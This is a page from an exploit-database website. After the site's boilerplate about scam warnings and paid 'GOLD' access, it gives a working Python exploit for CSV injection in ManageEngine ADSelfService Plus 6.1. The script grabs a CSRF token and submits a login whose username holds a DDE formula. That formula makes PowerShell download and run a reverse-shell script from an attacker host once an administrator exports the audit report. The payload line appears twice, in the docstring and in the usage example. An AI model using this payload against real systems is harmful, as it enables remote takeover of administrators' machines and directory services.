0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
ManageEngine ADSelfService Plus 6.1 - CSV Injection Exploit
# Exploit Title: ManageEngine ADSelfService Plus 6.1 - CSV Injection # Exploit Author: Metin Yunus Kandemir # Vendor Homepage: https://www.manageengine.com/ # Software Link: https://www.manageengine.com/products/self-service-password/download.html # Version: 6.1 # Description: https://docs.unsafe-inline.com/0day/manageengine-adselfservice-plus-6.1-csv-injection import requests import sys import urllib3 """ Proof of Concept: Step-1 1- Malicious user sends POST request to login page https://TARGET-IP/j_security_check and sets j_username parameter as like the below. =cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/Invoke-PowerShellTcp.ps1')'!A0 Step-2 2- The request attempt will be saved to"User Attempts Audit Report" table that is under the Reports > Audit Reports section. Url: https://TARGET-IP/webclient/index.html#/reports/listReports/12 j_username parameter value is saved to "User Name" column which is start of line in the CSV file. If admin user exports this table as CSV file and confirms the alert popup, reverse shell connection will be obtained by malicious user. Details: https://docs.unsafe-inline.com/0day/manageengine-adselfservice-plus-6.1-csv-injection """ def loginReq(target,payload,getCsrf): s = requests.Session() data = { "j_username": payload, "j_password": "joker", "domainName": "ADSelfService+Plus+Authentication", "AUTHRULE_NAME": "ADAuthenticator", "adscsrf": getCsrf } url = "https://"+target+"/j_security_check" req = s.post(url, data=data, allow_redirects=False, verify=False) if req.status_code == 302: print("[+] Sending request is successful.") print("[+] Injected payload: %s" %payload) else: print("[-] Something went wrong!") print(req.status_code) def getCsrfToken(target, payload=None): urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) gUrl = "https://" + target + "/authorization.do" getCsrf = requests.get(url=gUrl, allow_redirects=False, verify=False) print("[*] Csrf token: %s" %getCsrf.cookies['_zcsr_tmp']) loginReq(target,payload,getCsrf) def main(args): if len(args) != 3: print("usage: %s targetIp:port payload" %(args[0])) print("Example: python3 adSelfServiceCsv.py 192.168.1.253:9251 \"=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/Invoke-PowerShellTcp.ps1')'!A0\"") sys.exit(1) getCsrfToken(target=args[1], payload=args[2]) if __name__ == "__main__": main(args=sys.argv) # 0day.today [2024-11-15] #